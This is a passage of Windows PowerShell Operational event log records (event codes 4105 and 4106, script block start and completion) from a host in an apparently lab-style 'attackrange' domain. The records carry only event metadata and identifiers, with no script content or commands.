LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043249
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043248
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043247
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043246
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043245
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043244
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043243
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043242
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043241
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043240
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043239
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043238
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043237
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043236
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043235
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043234
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043233
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043232
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043231
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043230
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043229
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043228
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043227
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043226
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043225
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043224
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043223
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043222
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043221
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043220
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043219
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043218
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043217
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043216
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043215
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043214
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043213
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043212
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043211
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043210
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043209
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043208
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043207
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043206
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043205
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043204
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043203
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043202
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043201
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043200
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043199
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043198
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043197
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
